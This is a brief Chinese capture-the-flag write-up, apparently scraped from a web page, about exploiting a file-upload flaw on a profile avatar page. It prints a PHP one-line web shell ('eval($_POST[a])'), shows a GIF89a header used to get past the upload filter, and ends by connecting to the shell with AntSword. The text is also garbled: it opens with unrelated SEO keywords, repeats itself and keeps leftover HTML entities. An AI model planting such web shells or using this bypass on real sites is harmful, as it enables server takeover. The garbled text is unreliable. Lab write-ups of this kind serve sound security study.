怎么修改网站上传附件大小,网站免费申请空间,网站备案新增域名,网站风格确定打开环境 随便登录注册一下
进入到了profile.php 其他没有什么页面#xff0c;只能更换头像上传文件#xff0c;所以猜测是文件上传漏洞
上传一句话木马看看
?php eval($_POST[a]);?回显
搜索一下 添加文件头GIF89a。上传php文件
查看页面源代码#xff0c;看…打开环境 随便登录注册一下
进入到了profile.php 其他没有什么页面只能更换头像上传文件所以猜测是文件上传漏洞
上传一句话木马看看
?php eval($_POST[a]);?回显
搜索一下 添加文件头GIF89a。上传php文件
查看页面源代码看到上传的php的文件 蚁剑连接
